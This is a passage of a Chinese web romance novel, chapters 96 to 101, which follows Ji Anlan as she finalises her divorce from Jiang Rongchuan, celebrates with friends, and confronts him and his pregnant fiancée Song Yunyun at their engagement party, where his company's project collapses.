她又岂会不知,上一次江容川就是为了拖延时间,才会没有赶到民政局。
这一次,她一定要让两个人离婚!
江太太的位置只能是她的。
面对宋妘妘的催促,江容川无可奈何,只好乖乖地走出了病房。
民政局门口,纪安澜早早地等着,一身简约的白色连衣裙,头戴鸭舌帽,宽大的墨镜架在鼻梁上,遮住了脸上未消去的五指印。
不远处,江容川深深地看着纪安澜,脚步像是灌了铅一般,过了许久,这才抬脚朝着纪安澜的方向走。
见他来了,纪安澜没有打招呼,径直地走进民政局。
办理的手续很快。
不过离婚证要等一个月才能拿到。
说是要有一个月的冷静期。
他们两个人都已经冷静多久了?还需要冷静吗?
江容川松了一口气,纪安澜则紧皱着眉头,一脸不悦。
不过也无可奈何,只能再等一个月了。
纪安澜拎起包,快步走出民政局。
身后传来了江容川急切的嗓音:“澜澜,我……”
“我叫纪安澜!”纪安澜驻足,回头冷漠地盯着他。
“江总,以后请注意身份,我们已经离婚了!”
第96章 今日就是她重生的日子!
锐利的眸子如同淬了冰一般,冷冰冰地盯着江容川,毫无温度。
平静得就像是看一个陌生人。
江容川面色一沉,到嘴边的话生生地咽了回去。
见他无话可说,纪安澜转身潇洒离去。
阳光映照在身上,仿佛为她镀上了一层金色的光晕。
这是这么久以来,她第一次觉得那么开心。
一切都好像是那么的不真实。
走出去许久,终于看不到身后的人了,纪安澜这才放松下来,站在原地,张开双臂,闭上眼睛感受着阳光洒在脸上的温柔。
终于摆脱了令人窒息的婚姻。
今日就是她重生的日子!
纪安澜拿出手机拍了张照片,立刻发了朋友圈。
“庆祝新生,终于离婚了!”
刚发出朋友圈,微信就炸了锅。
姚姿的文字仿佛带着穿透力。
——姐妹牛啊!终于摆脱渣男了,今天必须好好庆祝,我请客,不醉不归!
沈南姗也看到了朋友圈,立刻回复。
——你终于醒悟了!不过也不晚,算怎么庆祝?要不要带我一个?我好久没喝酒了。
看着她们回复的消息,纪安澜嘴角勾起了一抹淡淡的笑意。
姚姿是她最好的朋友,这些年来没少为她费心思,一直在劝她离婚。那时她比较恋爱脑,什么都听不进去。后来才知道姚姿那些话都是为了她好。
而沈南姗则十分通透,看着纪安澜陈恩伦,时不时地也会给个提醒,只是在她婚姻的围城里,她什么都看不到,眼里只有江容川。
现在,她终于醒悟过来,姚姿跟沈南姗就是她那昏暗生活里的一道光。
她立刻给两个人拉个小群,约他们一起去喝酒。
夜幕降临,暮色四合。
纪安澜化了个淡妆,来到了云鼎阁。
这是姚姿最喜欢的一个菜馆。
偌大的一个云鼎阁,人声鼎沸,纪安澜远远地就看见了姚姿跟沈南姗,朝着她打招呼,纪安澜迅速走过去,看着满桌子的精致菜肴和酒水,眼睛直放光。
“都是我喜欢吃的。”
“那当然,今天可是庆祝你新生,当然是选你喜欢吃的了!”
姚姿扶着纪安澜坐下,脸贴在她的脸上,一脸宠溺:“宝贝,你终于活过来了,很为你开心,从今以后一定要擦亮眼睛,千万不能被那些狗男人骗了。”
话音刚落,立刻倒了一杯酒递给纪安澜。
“干了这杯酒,扫除所有的霉运!”
纪安澜拿起酒杯,与她碰了碰,一旁的沈南姗也端起酒杯,三个人干杯,相视一笑。
纪安澜一饮而尽,辛辣的感觉在喉咙间蔓延,没来由地觉得心里一阵畅快。
“话说江容川怎么舍得跟你离婚了?之前不是还要死不活的,一直想牵制你吗?”
沈南姗向来嘴毒,说话也不饶人。
“我还以为你还是那个恋爱脑,不管他做了什么事情,你都能原谅呢。”
“怎么可能?我澜澜宝贝最清醒了,只是之前用情过深,可不是什么舔狗,你可不要胡说!”
这句话在纪安澜听来,怎么都不像是在夸她。
“我什么时候说他是舔狗了?你心里就是这么想的吧?说出心里话了吧?”沈南姗忍不住打趣。
姚姿赶紧捂住了嘴。
“呸呸呸!我什么都没说,你什么也没有听见,一切都在酒里。”
说着又给两个人倒满了酒。
三个人再次一饮而尽。
“只要一想到江容川跟宋妘妘在一起,我就觉得开心,他们两个人最好锁死,都不要流入市场,否则不知道哪个倒霉蛋碰上了,这辈子可就完了!”
沈南姗的嘴依旧没让人失望。
“**配狗天长地久,祝他们两个早生贵子,幸福一辈子!”
姚姿又为两个人满上。
三人尽兴地喝着,脸上都洋溢着笑容。
像是想到了什么似的,沈南姗的目光落在了纪安澜的脸上。
“上一次的事情怎么样?虽然缺了江容川这个渣男,但还有个人在等着你呢。”
她一直惦记着这事,可最近发生的事情实在太多了,还没来得及问纪安澜。
纪安澜脸色微变,想到周慎冷漠疏离的
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表情,面色骤然变得难看。
看着纪安澜的反应,沈南姗大吃一惊:“姐妹,不会吧?你不要告诉我你搞砸了?”
“什么呀?怎么回事?什么真爱?我怎么从来都没听说过?你该不会是背着我又找了一个男朋友吧?”
姚姿急切地探过头,紧盯着纪安澜,眼睛里充满了好奇。
纪安澜没说话,脑海里全都是周慎那张冷峻、生人勿近的脸。
她端起酒杯,一饮而尽,选择沉默。
与此同时,同一个酒楼里。
包房里,江容川面前的桌子上摆满了空酒瓶,酒精的作用下,他的眼神迷离,双颊通红,喝得醉意醺醺。
尽管已经神志不清,还是拿起威士忌,仰头灌了一口。
辛辣的液体灼烧着喉咙,可却怎么也压制不住心口的烦躁。
一旁的薛从看着江容川一副失恋的模样,叹了口气。
“不就是离婚了吗?离婚又不能怎么样,我跟我老婆也离过一次,那后来不也追回来了吗?现在日子过得甜蜜着呢。”
薛从搂着他的肩膀劝说:“大不了追回来,之前纪安澜那么爱你,如今冲动离婚,恐怕现在已经后悔了,你只需要略施手段,她一定能回到你的手掌心里。”
“对吗?”江容川很没有底气,想到纪安澜那生人勿近的表情,嘴角噙着一抹自嘲的笑。
“她跟以前不一样了。”
说着,又灌了一口酒。
“有什么不一样的?你们十三年的感情,难道是说忘就能忘的?我不信!她肯定是嘴硬,女孩子都是这样的,需要有人去哄。”
薛从拍了拍江容川的肩膀,以示安慰。
江容川想着纪安澜的反应,毫不犹豫地答应离婚,丝毫不带有一丝犹豫,心口一阵钝痛。
他摇了摇头,晃着昏沉的脑袋,声音含糊:“你不懂……”
话音刚落,将威士忌一饮而尽,瓶子摔在地上,摔了个粉碎。
“要我说,你等宋妘妘把孩子生下来,就赶紧去哄纪安澜,说不定还有转圜的余地,但等得久了,恐怕你们两个真的会掰了……”
第97章 跟他离婚这么开心?
江容川脸色一沉。
他又何尝不知?若就此下去,主很难轻易原谅他。
可眼下,**得靠宋妘妘,他不能在这个节骨眼上得罪她。
墨色如夜的眸子泛着冷芒,浓眉紧皱,他端起酒杯一饮而尽,辛辣的液体却浇不灭他眼底的愁绪。
这时,电话铃声响了。
屏幕上跳动着宋妘妘的名字。
他眼中闪过一抹不悦,但还是不耐烦地接起了电话。
“怎么了?”
“容川,你现在在哪里?之前不是答应我今天陪我一起去拍婚纱照吗?你该不会忘了吧?”
他确实忘了,压根就不记得这件事。
“没有,我正在忙。”江容川冷淡地说了一句。
“什么事情比拍婚纱照这还重要?我现在已经到婚纱店了,你赶紧来,只有赶紧把婚结了,才能让我们彼此的父母放心,周家见到你结婚了,说不定就愿意跟你合作了。”
最后一句话就犹如一把精准的手术刀,直直地**了他的心口。
他没有拒绝的权利。
“好,你在那等我,我马上就过去。”
话音刚落,直接挂断电话,踉跄着站起身,身子摇摇欲坠。
薛从满脸担忧,走过去想要扶他,却被他一把甩开。
江容川扶着门框走过昏暗的走廊,来到了云鼎阁的大厅。
人声鼎沸,到处都是欢声笑语。
他面色阴沉,与这样的氛围格格不入。
不经意地一瞥,突然看到了一抹熟悉的身影。江容川的脚步顿住,目光不由自主地转过去。
纪安澜脸上挂着明媚的笑,淡妆却难掩姿色,身着香槟色的长裙,衬得身材凹凸有致。
他已经许久都没有看到纪安澜如此开心地笑了。
就因为跟他离婚,就能这么开心?
他脸色越发的阴沉难看,在酒精的作用下,心底的嫉妒和愤恨无限放大。
他还在为两个人离婚而借酒消愁,可纪安澜却带着姐妹一起庆祝。
难道她就这么巴不得跟他离婚吗?
跌跌撞撞地走过去,江容川厉声道:“你是不是早就想跟我离婚了?”
声音颇大,吸引了不少人的目光。
三个人齐刷刷地看向他。
纪安澜眼中闪过一抹惊愕,没想到竟然能在这里遇到江容川。
姚姿一见到江容川,眉头紧皱,眼底满是嫌弃。
见他一脸醉态,忍不住嘲讽:“这不是江总吗?一个人买醉,你那个登堂**的小三呢?怎么没陪你一起来?哦,忘记了,现在应该在家里待产吧?你该不会寂寞难耐到要在这里找女人吧?”
话里话外全都是嘲讽。
“咱们江总可看不上平常的女人,只喜欢那种耍心机的,像宋妘妘那样的女人还真的很少。”
一旁的沈南姗也随声附和。
“你们两个人最好锁死,这一辈子都恩恩爱爱,祝你们白头偕老。”姚姿冷笑了一声。
两人的嘲讽,他像是完全听不见一般,目光紧紧地锁定在纪安澜脸上。
墨染的眸子翻涌着复杂的情绪,更多的是不甘与嫉妒,还有一抹他都未察觉的眷恋。
“你是不是早就心里有别人了?”
他不甘心地又再次问了一句。
要不然怎么会在刚刚离婚,就如此开心?
纪安澜冷冰冰地坐在那里,自始至终都没有看他一眼。
仿佛他就是个路人,连一个眼神都吝啬给予。
这种无视,比任何嘲讽的话都让江容川脸色难看,心里仿佛被针扎一般疼痛。
紧盯着那张素白的小脸,冷漠而又疏离。他的心脏好像被一只无形的手攫住,疼得他快喘不上来气。
不知从何时起,那个满心满眼只有他的纪安澜,已变得冷漠疏离,眼中再也没有他了。
所以他才会怀疑纪安澜是否喜欢上了别人,否则怎么可能对他无动于衷?
见纪安澜毫无反应,甚至没有说一句话,江容川走上前想要伸手拉她,却被一旁的姚姿和沈南姗拦住了。
“江容川,你够了啊!你们两个现在已经离婚了,你再骚扰我就报警了!”
“自己出轨,现在又装深情给谁看?你不觉得你很可笑吗?”
两人言语轮番轰炸,冷冰冰地盯着他,做了纪安澜的嘴替
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。
“我跟纪安澜的事用不着你们管!”江容川暴怒的声音响彻耳际。
他的目光透过两人,朝着纪安澜的方向看。
“我只想要你给我一个答案。”
闻言,纪安澜唇角溢出了一丝冷笑。
仿佛听到了一个天大的笑话。
“要答案有什么用吗?”纪安澜讥讽地看着他。
“我们已经离婚了,没有任何关系,答案不重要。”
“听见没有?还不赶紧滚!”姚姿伸手护着纪安澜,目光凌厉如同一把刀刃,狠狠地刺向江容川。
“早知如此,何必当初?别以为自己多深情,你要真爱安澜,怎么可能会跟别的女人搞在一起?”
沈南姗眼底划过一抹嘲弄,眼底满是不屑。
如果不是江容川一直气爷爷,说不定爷爷还可以再活几年。
一想到这一点,沈南姗眼中的恨意增生,眼神越发冷厉。
“赶紧滚,看见你就觉得恶心!”
就算说出如此狠的话,江容川就仿佛没听见一般,愣愣地站在原地,眼睛直勾勾地盯着纪安澜。
殷切的眼神让纪安澜觉得十分厌烦,想要开口打发了他,可就在这时,一道尖利而又着急的嗓音传来。
“容川,你怎么在这?”
宋妘妘迫不及待地小跑着过来,根本就不顾及大着个肚子。
目光落在江容川的脸上,旋即扫了一圈,恶狠狠地瞪了纪安澜一眼。
“你怎么又跟这个女人在一起?我不是跟你说了吗?这个女人居心叵测!”
话音刚落,冷冰冰地质问:“上一次说的六亿,你还没有给个说法,现在又想干什么?”
“那是你们自己蠢,跟我们有什么关系?”沈南姗满不在乎地嘲讽。
“你……”宋妘妘脸色骤变,变成了猪肝色。
纪安澜冷声道:“该说的不该说的都已经说了,你们要是再纠缠不清,那就只能叫警察了。”
他们原本开开心心地庆祝,没想到竟来了两个不速之客。
“你以为我们那么想见到你?我跟容川要去拍婚纱照了,马上就要结婚了!气不气?”
第98章 那真是恭喜你们
纪安澜仿佛听到了一个天大的笑话,眯着眼睛,眼底透露着一丝嘲讽。
“真的吗?那真是恭喜你们了。”
一旁的姚姿跟沈南姗也跟着嘲笑。
“你们两个人挺般配的,千万不要让彼此流入市场!”
“恭喜恭喜,百年好合,早生贵子,白头偕老!”
宋妘妘看着三个人的反应,紧皱着眉头,好像当众被人羞辱了一般。
“你们……你们三个给我等着。”
丢下狠话,宋妘妘拉着江容川迅速地离开了。
看着两人离去,三个人低笑着,声音愉悦。
江容川的脸色越发难看,阴沉得仿佛随时都能滴下水来。
宋妘妘原本心里也窝着火,想要回头训斥江容川一番,可是看着他那阴沉的面色,终究是感动不敢言。
两人坐在出租车上,气氛压抑到极点,车厢里仿佛空气都凝结了。宋妘妘张了张嘴巴,却发不出任何声音。
直到来到了婚纱店,为了缓解尴尬的氛围,宋妘妘换上了婚纱,在江容川面前转了一圈。
江容川本就喝得醉意醺醺,只是扫了一眼,便想到了当初纪安澜穿上婚纱的模样。
他痴痴地望着,嘴角忍不住上扬,嘴里念念有词:“澜澜,你穿婚纱最好看了……”
宋妘妘的笑容僵硬在脸上,瞪大眼睛,不可置信地看着江容川。
事到如今,他竟然还在想着那个女人?
“江容川,你睁开眼睛看清楚,我是谁?”
她扯着嗓子,尖利的嗓音响彻了整个会场。
不少工作人员朝着他们两个人的方向看了过来。
江容川稍微清醒了些,眼前模糊了一瞬,静静地看着眼前的人,确定眼前的人是宋妘妘后,脸色微变。
怎么是宋妘妘?
眼底划过一抹失落,江容川下意识地观察了四周,这才发现他不知何时已经来到了婚纱馆。
揉着有些发疼的眉心,江容川坐在了沙发上,完全一副不管不顾的模样。
反正已经答应跟宋妘妘结婚了,现在对他的态度,不管如何,宋妘妘也不会离开。
想到这里,江容川越发地敷衍。
不管宋妘妘穿什么样的婚纱,他都说可以。
宋妘妘立刻觉察出江容川的心不在焉。
她面色一沉,声线冷了下来:“容川,这是要拍婚纱照,以后结婚留念的,你怎么能如此草率?”
“这次婚礼本就仓促,如今**困难,我们能不能等到解决了麻烦后再结婚?”
江容川紧皱着眉头,深吸了口气,努力用平静的语气说着。
“不行!我等得了,孩子也等不了,我一定要给孩子一个名分。”
这是宋妘妘着急结婚的一个目的。当然,另外一个最主要的目的就是害怕纪安澜跟江容川旧情复燃。
想到刚才江容川念着纪安澜的名字,她的心里越发的不悦。
“你该不会是还想着纪安澜吧?难道你还想着跟她复婚?”
挑了挑眉,宋妘妘眼底划过一抹怀疑,江容川面色阴沉,迟疑地否定:“当然没有。”
“既然这样,那你就好好地跟我选婚纱,拍美美的婚纱照,然后就是订婚宴,我要让所有的人都知道我们有多幸福!”
“嗯。”江容川闷闷地嗯了一声。
“我已经通知了周霆云,到时候他也会参加我们的婚礼,有了周氏坐镇,说不定很多人都想要跟你合作,毕竟周家的面子,他们也是要给的。”
宋妘妘故意说出周霆云的名字,其实就是为了想让江容川安心。
如今**的处境,得看很多公司的脸色,要是没有了周家的支持,怕是难以度过危险。
也因此她可以轻易拿捏江容川。
见江容川的脸色有所好转,宋妘妘走过去,凑到他耳际,轻轻地说道:“放心,有我在,一定不会让**有问题!我会跟你一起把**发扬光大,比以前更加厉害。”
言之凿凿,又信誓旦旦。
江容川勉强勾了勾唇,“好。”
他现在需要宋妘妘的助力,更需要她肚子里的孩子。
目光落在了她颇为壮观的小腹上,江容川幽深的眸子越发的复杂。
观察到他的眼神,宋妘妘扯着他的手放在了她的小腹上。
“以后有我跟孩子陪着你,你一定不会孤独。为了孩子,我们也要把**失去的全都夺回
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来!”
一想到纪安澜坑了她六亿,她就气不打一处来。
“纪氏?区区一个马上破产的纪氏,我根本就不放在眼里,等到我们订婚以后,我一定要让她付出惨痛的代价!”
她的眼底划过一抹狠厉。
江容川脸色难看地看了她一眼,终究是没有说出一个字来。
“对了,我们订婚,我想请个人来,你不会有意见吧?”
宋妘妘突然开口说了一句。
“不……”江容川刚准备随便打个马虎眼。
“我想请纪安澜来。”宋妘妘抢过话茬。
瞪大眼睛,不可置信地看着宋妘妘,江容川眉头紧锁,一脸的难以置信。
“你为什么要请她来?”
那一刻她觉得宋妘妘疯了,否则怎么会请纪安澜?
他们两个人刚刚离婚,要是纪安澜到场的话,指不定会闹出什么样的乱子来。
“有什么问题吗?反正外界早就传你们不和了,说不定纪安澜到了,还会让我们的婚礼更加的热闹。”
一想到纪安澜来到订婚宴的画面,宋妘妘越发地期待。
“容川,你之前答应我的,订婚宴上的宾客都由我来定,难道不算数了?我可是帮了你很大一个忙,那6亿是我亏损的。”
这话倒是没错,但是在机器人项目上,他也投入了不少。
“我还帮你请来了周霆云。”宋妘妘又提醒了一句。
江容川被堵得哑口无言。
终于还是点了点头:“你开心就好。”
话音刚落,宋妘妘唇角上扬了一抹冷冽的弧度,眼底划过一抹算计。
纪安澜,我倒要看看,参加前夫的婚礼,你到底是什么样的表情。
“我去厕所一趟。”江容川冷冷地说了一句,转身去了厕所。
宋妘妘的目光落在了放在桌子上的手机,唇角微勾,打开,给纪安澜打了个电话。
彼时,纪安澜正在跟姚姿跟沈南姗庆祝,喝得正尽兴,突然接到了江容川打来的电话。
纪安澜刚准备挂断,没想到姚姿接了,并且打开了外放。
“纪安澜,后天是我跟容川的订婚宴,邀请你参加,你不会不敢来吧?”
第99章 参加前夫的订婚宴?
姚姿和沈南姗刚准备口诛笔伐。
两人意识到什么,扭头看向纪安澜。
纪安澜轻蔑一笑:“时间地点发给我,我准时到。”
两人为纪安澜竖起了大拇指。
面对宋妘妘如此挑衅的话,纪安澜面不改色,实在是非常人能及。
她以为她打来电话是来炫耀,可纪安澜压根就不在意。
挂断电话,姚姿跟沈南姗看向纪安澜。
“澜澜,我跟你一起去吧。”姚姿挽着纪安澜的胳膊,一脸期待。
“反正我是会受邀参加的。”沈南姗勾了勾唇,一副看热闹的表情。
两人都是为了她好,纪安澜知道。
这一场仗,没有任何一个人能够替她打,只有她一个人赢了,才是真的赢了。
唇角微微上扬,纪安澜伸手将两人搂在怀里,声音清冽。
“兵来将挡,水来土掩。既然有了鸿门宴,那岂有不赴之理?我倒要看看他们两个人结婚是什么样。”
十三年的感情,终于要画上句点了。
纪安澜眼中没有一丝落寞,反而是像是松了一口气。
在迎接最后的终章。
3天后。
瑞博酒店。
会厅被包装得奢华又浪漫,粉色与白色的气球在门前点缀,淡淡的香气自进门起,就充斥着口鼻,踩着红地毯走进大厅,就感觉到了珠光宝气。琉璃灯的映照下,每个人脸上都洋溢着微笑。
他们似乎已经忘了江容川刚刚离婚没多久。
人群的簇拥下,宋妘妘一身高定的白色礼服,裙摆镶满了碎钻,在琉璃灯的映照下,熠熠生辉。
她刻意地显摆着无名指上戴着的粉色钻戒,切割完美,看起来成色极好,那耀眼的光芒仿佛就如同她此刻的人生。
她想向所有的人炫耀。
当然,最想要炫耀的人是纪安澜。
视线在人群之中搜索着,没有看见纪安澜的影子。宋妘妘眉头微蹙,以为纪安澜胆子小,不敢来了。
可就在这时,不知谁发出了一声惊呼,所有人的目光朝着门口的方向看去。
纪安澜一身黑色连衣裙,衬得身材凹凸有致,皮肤越发冷白,淡淡的妆容却难以掩饰那绝世的容光,仅出现一秒,便足以让众人移不开视线。
“这不是纪安澜吗?她怎么来了?”
“参加前夫的订婚宴?这也太炸裂了吧?”
“我记得纪安澜没有这么漂亮,她是不是整容了?”
质疑声跟嘲笑声席卷了整个大厅,所有的人都交头接耳,议论纷纷。
人群正中央的宋妘妘,嘴角噙着一抹得逞的笑意。
她没有想到纪安澜真的敢来。
提起裙摆,宋妘妘优雅地走到纪安澜面前,故意晃了晃手上的钻戒,声音不大不小,刚好能被周围的人听见。
“纪小姐,没想到你真的来了,还以为你以容川前妻的身份,不想参加我们的订婚宴呢。”
“什么?那个人竟然是江容川的前妻?他怎么来了?这不是扫兴吗?”
“听说之前江容川就厌弃了她,说是跟人家不清不楚,还好后来遇到了真爱宋妘妘,不然江容川得多可怜啊。”
“话说,她不会来捣乱吧?毕竟这么多年都不能生,眼看着江容川新娶的妻子已经怀胎27周,心里不嫉妒怎么可能?”
“我要是他,肯定找个地缝钻进去了,怎么可能会出现在这种地方?现在江容川满心满眼都是宋妘妘,又怎么会在乎她这个不下蛋的前妻?”
所有的人都在猜测纪安澜的动机,每个人说话都不中听。
那些话就仿佛是一根根绵密的针,慢慢地扎进了纪安澜的心上。
可纪安澜脸色毫无变化,眼神无波,置若罔闻,仿佛没有听见一般,冷冷地站在原地。
反倒是随后跟来的姚姿,气得不行,想要上去理论,却被纪安澜拉住了。
她冲着姚姿摇了摇头,一副满不在乎的模样。
纪安澜挺直腰脊,缓缓走上前,站到了宋妘妘面前,波澜不惊地开口:“既然宋小姐盛情邀约,我又怎会不来?我想看看你跟江容川的婚礼到底是怎样的。”
“你看到了,觉得怎么样?”宋妘妘对于周围豪华的摆设甚是满意,不少人都发出了艳羡的惊呼。
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>她不相信纪安澜看到这些不会嫉妒。
纪安澜环顾四周,扫了一眼那些奢侈的装饰,最后目光落在了宋妘妘的脸上,由衷地点头。
“确实挺不错的,看样子江总花了大手笔。”
“那当然了,容川爱我,肯定愿意为我花钱,不像有些人,嫁到江家8年都没有生下孩子,我可是马上就要生了,一生下来,这就是江家的继承人!”
纪然马上就要跟江容川结婚了,她说出的话也有些口不择言。
宋妘妘一口一句,纪安澜不能生孩子,即便纪安澜努力地克制着心里的情绪,还是觉得心口痛了一瞬。
“这话说得未免太早了,你不是还没结婚吗?”
纪安澜忍不住嗤笑了一声。
宋妘妘冷笑,像看小丑一样看着纪安澜:“今天是我的订婚宴,你该不会还以为容川会对你念念不忘吧?”
“我跟他已经离婚了,目前跟他不熟,也不想猜测他的心思。”
话音刚落,纪安澜环顾四周,扫了一圈也没有看到江容川的身影。
唇角勾起了一抹讥讽的笑,纪安澜冷笑着看着宋妘妘。
“话说,准新郎呢?”
一字一句,语气清晰,声音不大不小,正好能被周围的人听到。
经过纪安澜这么一提醒,所有的人都有些纳闷,他们来了这么久,也没有看到江容川的身影。
宋妘妘微微蹙眉,不悦地说道:“容川马上就来,用不着你来提醒我。”
“听说订婚宴要是误了吉时,以后可是要不吉利的,他已经结过一次婚,应该不会不知道这种事吧?”
纪安澜刻意地拖长了音调,勾唇冷笑:“还是说,他临阵退缩,不想跟你订婚了?”
这话一说出口,宋妘妘脸色骤变,气得胸口剧烈地起伏着,冷冰冰地瞪着纪安澜。
“不要胡说八道,怎么可能?你想挑拨离间?没门!”
“现在就给容川打电话!”
宋妘妘掏出手机。
这时,一个人跑了过来,声音急促。
“宋小姐,大事不好了!江总,江总他暂时来不了了!”
第100章 快叫救护车
瑞博酒店的宴会厅里,水晶吊灯折射出璀璨的光芒。
粉色与白色的气球在空气中轻轻摇曳。
本该是满溢着祝福与喜悦的场合,此刻却被一层浓稠的焦虑与混乱笼罩。
宋妘妘死死攥着手机,指节因为用力而泛出青白。
隆起的孕肚随着她急促的呼吸剧烈起伏。
脸上早已没了先前的得意与炫耀,只剩下惨白如纸的惊慌。
方才那个气喘吁吁跑进来报信的助理,话语还在她耳边反复回响——“宋小姐,不好了!智慧机器人项目彻底爆雷了!合作方已经发来了律师函,要求**赔付巨额违约金,说是我们的技术参数**,根本达不到合同约定的标准!”
“江容川呢?他到底死在哪里了!”
宋妘妘的尖叫刺破了宴会厅的奢华氛围。
原本低声交谈的宾客们纷纷侧目,眼神里掺杂着好奇、讥讽与看戏的意味。
她挺着27周的孕肚,不顾侍者的阻拦,踉跄着想要冲出人群,却被周围的目光牢牢钉在原地。
那些目光像针一样扎在她身上。
有人窃窃私语:“这才订婚就出这种事,**怕是要完了吧?”
“听说这个项目投了不少钱,现在爆雷,违约金怕是天文数字。”
“宋妘妘还怀着孕呢,这下可有得受了。”
这些议论声一字不落地钻进宋妘妘的耳朵里,让她越发焦躁难耐。
她猛地转头,目光如淬了毒的刀子,直直锁定在不远处的纪安澜身上。
纪安澜站在宴会厅的角落,身姿挺拔如寒松。
一身剪裁得体的黑色连衣裙衬得她皮肤冷白如玉。
淡淡的妆容勾勒出精致的眉眼,神色平静得仿佛眼前的一切都与她无关。
她只是静静地看着宋妘妘濒临崩溃的模样,眼底没有半分怜悯,只有一片深不见底的漠然——这场闹剧,从宋妘妘插足她的婚姻、算计**项目开始,就注定了今天的结局。
“一定是你!纪安澜!”
宋妘妘突然疯了似的朝着纪安澜冲过去。
腹部的坠痛感让她脚步虚浮,却依旧挡不住她眼底的疯狂。
“是你搞的鬼!你嫉妒我能给江家生继承人,嫉妒我要嫁给容川,所以故意毁了**的项目!你这个毒妇!”
周围的宾客们被这突如其来的指控惊得哗然。
纷纷将目光投向纪安澜,想看看她会如何回应。
姚姿和沈南姗立刻上前一步,挡在纪安澜身前,怒视着宋妘妘。
“宋妘妘你疯了?自己项目不行,凭什么怪别人?”
“说话要讲证据,没有证据就乱咬人,你跟江容川还真是天生一对!”
纪安澜轻轻拨开姚姿和沈南姗的手,缓步走到宋妘妘面前。
唇角勾起一抹极淡的讥诮。
她的声音清冷而平静,却带着一种穿透人心的力量,清晰地传到在场每个人的耳朵里:“宋小姐,说话要讲证据。”
“纪氏在智慧机器人项目中,仅担任技术顾问角色。”
“合同条款上白纸黑字写得明明白白,不承担任何商业风险与损失。”
她顿了顿,目光扫过宋妘妘紧绷到极致的脸,眼神里的嘲讽毫不掩饰。
“倒是你,费尽心机把我请来参加这场订婚宴,不就是想让我看着你所谓的‘幸福’吗?”
“如今愿望达成,**爆雷,容川缺席,这场戏确实比我想象中精彩,你该满意了?”
“你胡说!你血口喷人!”
宋妘妘被纪安澜的话刺激得情绪越发激动。
胸口剧烈起伏着,突然一股尖锐的疼痛从腹部传来。
让她忍不住弯下腰,发出一声痛苦的闷哼:“肚子……我的肚子好痛……”
话音未落,她双腿一软,便朝着地面倒去。
旁边的助理眼疾手快,连忙上前扶住她。
众人低头一看,只见宋妘妘白色礼服的裙摆上,已经沾染了点点猩红。
那刺眼的颜色在洁白的布料上迅速蔓延开来,触目惊心。
“啊!出血了!”
有人发出一声惊呼,宴会厅里瞬间陷入一片混乱。
“快叫救护车!宋小姐这是要早产啊!”
“都27周了,
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早产的孩子能不能保住啊?”
“江总怎么还不来,这节骨眼上掉链子!”
宋妘妘被助理和侍者紧急搀扶着往外走。
她脸色惨白如纸,额头上布满了细密的冷汗。
嘴里还在断断续续地喊着:“江容川……救我的孩子……纪安澜,我不会放过你的……”
就在宋妘妘被送走不久,宴会厅的大门被人猛地推开。
江容川踉跄着走了进来。
他一身西装皱皱巴巴,领带歪斜。
眼底布满了红血丝,胡茬也冒出了青色。
显然是刚从项目爆雷的紧急会议中抽身,满身的疲惫与狼狈。
得知宋妘妘早产的消息时,他的脸色已经阴沉得能滴出水来。
可当他的目光穿过混乱的人群,落在角落里安然站立的纪安澜身上时。
所有的烦躁、焦虑与无助瞬间转化为滔**火。
他快步上前,一把攥住纪安澜的手腕。
力道大得几乎要捏碎她的骨头。
眼中的猩红几乎要溢出来:“纪安澜!你这个毒妇!**变成这样,是不是你搞的鬼?”
“你别想置身事外!咱们的离婚证还在冷静期,你名义上还是江家的人,必须跟我共担损失!”
纪安澜被他攥得生疼,手腕上瞬间泛起了几道清晰的红痕。
可她脸上依旧没有丝毫波澜。
她用力挣了挣,硬生生从江容川的手中抽回自己的手。
眼神冷冽如冰:“江容川,你弄疼我了。”
“弄疼你又怎么样?”
江容川怒不可遏,胸膛剧烈起伏着。
“**倒了,你也别想好过!那些违约金,你必须跟我一起还!”
“我凭什么跟你一起还?”
纪安澜冷笑一声,从随身的手包里拿出一份文件。
轻轻掷在江容川面前的桌子上:“你自己看清楚。”
“纪氏的所有资产,包括我名下的房产、存款、股票,早在半年前就已经全部转到了我母亲林慧敏名下。”
“有公证员的签字和公证处的盖章,具有完全的法律效力。”
第101章 从你背叛我们的婚姻开始
她顿了顿,目光扫过江容川瞬间变得铁青的脸,声音里带着一丝不易察觉的嘲讽。
“还有我们的离婚协议,上面写得明明白白,我净身出户,不带走江家的一分一毫。”
“自然也没有义务替江家偿还任何债务。”
“江容川,你以为我会像以前那样,被你蒙在鼓里,任由你们江家摆布吗?”
江容川颤抖着手拿起那份文件。
目光死死盯着上面的签名和公证章。
瞳孔骤缩,脸上写满了不敢置信。
他怎么也没想到,纪安澜竟然早就料到了今天的局面,还提前做好了万全的准备。
“你……你早就料到会这样?”
江容川的声音带着一丝不易察觉的颤抖。
他看着纪安澜,仿佛第一次认识她一样:“你一直在算计我?从什么时候开始的?”
“从你背叛我们的婚姻,和宋妘妘搞在一起,算计纪氏技术的时候开始。”
纪安澜的声音平静无波,却带着一种深入骨髓的寒凉。
“我只是提前为自己留好退路,总好过被你们江家拖下水,落得个身无分文的下场。”
“江容川,这一切都是你咎由自取,怨不得别人。”
说完,她不再看江容川那张青一阵白一阵的脸。
转身走到姚姿和沈南姗身边,轻声道:“我们走吧。”
姚姿和沈南姗早就看江容川不顺眼了。
此刻更是毫不客气地瞪了他一眼。
然后一左一右地簇拥着纪安澜,昂首挺胸地走出了宴会厅。
她们的背影挺拔而决绝,将身后的狼藉、争吵与不堪彻底抛在了脑后。
走出瑞博酒店,晚风吹在脸上,带着一丝凉意。
纪安澜深吸了一口气,感觉压在心头许久的一块巨石终于落了地。
十三年的婚姻,像一场漫长而压抑的梦,如今终于要画上句点了。
“澜澜,你太厉害了!刚才看江容川那吃瘪的样子,简直大快人心!”
姚姿兴奋地拉着纪安澜的手,脸上满是解气的笑容。
“还有宋妘妘,真是自作自受,想让你难堪,结果自己先早产了,这就是报应!”
沈南姗也点了点头,赞同道:“说得对,这种人就该有这样的下场。”
“不过你也够神的,竟然早就把资产都转到你妈名下了,难怪你一点都不慌。”
纪安澜笑了笑,眼底终于有了一丝暖意。
“也是吃一堑长一智,以前太傻,把什么都寄托在婚姻上。”
“现在才明白,只有自己手里有筹码,才能在任何时候都立于不败之地。”
“说得好!”
姚姿拍了拍手。
“以后我们澜澜就要专心搞事业,那些臭男人都一边去!”
“对了,周慎那边,你打算怎么办?”
提到周慎,纪安澜脸上的笑容淡了淡。
眼底闪过一丝复杂的情绪:“我约了他明天吃饭,想当面谢谢他。”
“如果不是他给的那份计划书,纪氏这次也不会这么顺利。”
沈南姗看了她一眼,意味深长地说:“只是单纯的谢谢吗?”
